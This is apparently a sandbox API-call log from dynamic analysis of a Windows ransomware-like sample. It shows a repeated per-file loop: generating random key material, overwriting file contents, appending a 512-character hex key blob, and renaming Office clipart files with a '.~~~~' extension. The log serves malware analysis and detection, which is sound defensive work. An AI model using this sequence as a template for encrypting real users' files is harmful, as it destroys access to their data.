	[0098.802] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.802] CloseHandle (hObject=0xc4) returned 1
	[0098.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29701e0
	[0098.807] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.~~~~")) returned 1
	[0098.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29701e0 | out: hHeap=0x300000) returned 1
	[0098.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.808] GetLastError () returned 0x0
	[0098.809] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.809] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.809] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.810] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21879969581) returned 1
	[0098.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa49bad90, dwHighDateTime=0x1d60e1e)) 
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841a38
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841a38 | out: hHeap=0x300000) returned 1
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29701e0
	[0098.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285edf8
	[0098.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29701e0 | out: hHeap=0x300000) returned 1
	[0098.810] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.810] GetLastError () returned 0x0
	[0098.810] GetLastError () returned 0x0
	[0098.810] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.811] GetLastError () returned 0x0
	[0098.811] GetLastError () returned 0x0
	[0098.851] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffede4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.851] WriteFile (in: hFile=0x120, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x121c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x121c, lpOverlapped=0x0) returned 1
	[0098.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.852] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.852] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.852] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.852] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.852] CloseHandle (hObject=0x120) returned 1
	[0098.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.852] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.~~~~")) returned 1
	[0098.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.854] GetLastError () returned 0x0
	[0098.854] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.855] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.855] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.855] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21884550024) returned 1
	[0098.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4a2d1b0, dwHighDateTime=0x1d60e1e)) 
	[0098.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9e50
	[0098.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e50 | out: hHeap=0x300000) returned 1
	[0098.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285ef28
	[0098.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.856] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.856] GetLastError () returned 0x0
	[0098.857] GetLastError () returned 0x0
	[0098.857] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.857] GetLastError () returned 0x0
	[0098.857] GetLastError () returned 0x0
	[0098.867] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe498, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.867] WriteFile (in: hFile=0x120, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1b68, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1b68, lpOverlapped=0x0) returned 1
	[0098.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.868] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.878] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.878] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.878] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.878] CloseHandle (hObject=0x120) returned 1
	[0098.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.878] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf.~~~~")) returned 1
	[0098.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.880] GetLastError () returned 0x0
	[0098.880] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.881] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.881] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.882] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21887167345) returned 1
	[0098.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4a79470, dwHighDateTime=0x1d60e1e)) 
	[0098.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa128
	[0098.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa128 | out: hHeap=0x300000) returned 1
	[0098.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f0f0
	[0098.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.882] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.882] GetLastError () returned 0x0
	[0098.883] GetLastError () returned 0x0
	[0098.883] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.883] GetLastError () returned 0x0
	[0098.883] GetLastError () returned 0x0
	[0098.893] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff3bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.893] WriteFile (in: hFile=0x120, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xc44, lpOverlapped=0x0) returned 1
	[0098.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.894] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.894] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.894] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.894] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.895] CloseHandle (hObject=0x120) returned 1
	[0098.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.895] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.~~~~")) returned 1
	[0098.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.896] GetLastError () returned 0x0
	[0098.906] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.919] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.919] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.919] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21890883297) returned 1
	[0098.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4ac5730, dwHighDateTime=0x1d60e1e)) 
	[0098.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9da8
	[0098.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9da8 | out: hHeap=0x300000) returned 1
	[0098.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f5b0
	[0098.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.927] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.927] GetLastError () returned 0x0
	[0098.933] GetLastError () returned 0x0
	[0098.933] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.933] GetLastError () returned 0x0
	[0098.933] GetLastError () returned 0x0
	[0098.941] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffec74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.941] WriteFile (in: hFile=0x120, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x138c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x138c, lpOverlapped=0x0) returned 1
	[0098.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0098.942] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.942] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.942] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.942] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.942] CloseHandle (hObject=0x120) returned 1
	[0098.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.943] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.~~~~")) returned 1
	[0098.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0098.943] GetLastError () returned 0x0
	[0098.992] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0098.993] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.993] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0098.993] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21898296452) returned 1
	[0098.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4b37b50, dwHighDateTime=0x1d60e1e)) 
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x296f858
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x296f858 | out: hHeap=0x300000) returned 1
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0098.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f3e8
	[0098.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0098.993] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0098.994] GetLastError () returned 0x0
	[0098.994] GetLastError () returned 0x0
	[0098.994] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0098.994] GetLastError () returned 0x0
	[0098.994] GetLastError () returned 0x0
	[0099.056] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff0f3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.056] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0xf0c1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0xf0c1, lpOverlapped=0x0) returned 1
	[0099.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.057] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.057] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
